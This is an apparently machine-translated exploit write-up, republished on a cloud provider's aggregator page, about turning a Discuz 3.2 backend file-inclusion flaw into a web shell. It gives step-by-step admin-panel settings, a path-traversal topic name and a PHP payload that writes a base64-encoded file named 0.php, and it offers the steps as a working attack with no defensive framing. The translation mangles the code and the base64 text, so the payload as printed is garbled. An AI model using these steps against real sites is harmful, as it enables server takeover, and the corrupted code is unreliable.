Discuz3.2 vulnerability File Inclusion Vulnerability shell in the background

Source: Internet
Author: User

Discuz3.2 vulnerability File Inclusion Vulnerability shell in the background

Because the topic was not created

Static name
This vulnerability is caused by any restrictions
1. Global-> site information

Website URL:

Http://www.comsenz.com? Php file_put_contents ('0. php', base64_decode ('pd9wahagqgv2ywwojf9qt1nuw2fdktsgpz4 = ');?>

 

 

2. Tools> Update Cache

3. Portal-> HTML Management
Static File Extension: htm
Special HTML storage directory: data/cache

4. Create a topic
Static name [no restrictions here]:.../../template/default/portal/portal_topic_test

 

5. Topic Management
Enable and generate the newly added topic

 

6. Create a new topic
Select the generated./template/default/portal/portal_topic_test.htm as the template Name.
Submit

The php code is executed.

<? Php file_put_contents ('0. php', base64_decode ('pd9wahagqgv2ywwojf9qt1nuw2fdktsgpz4 = ');?>

 

It can be generated not only to the topic directory, but to any directory that can be included!

 

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.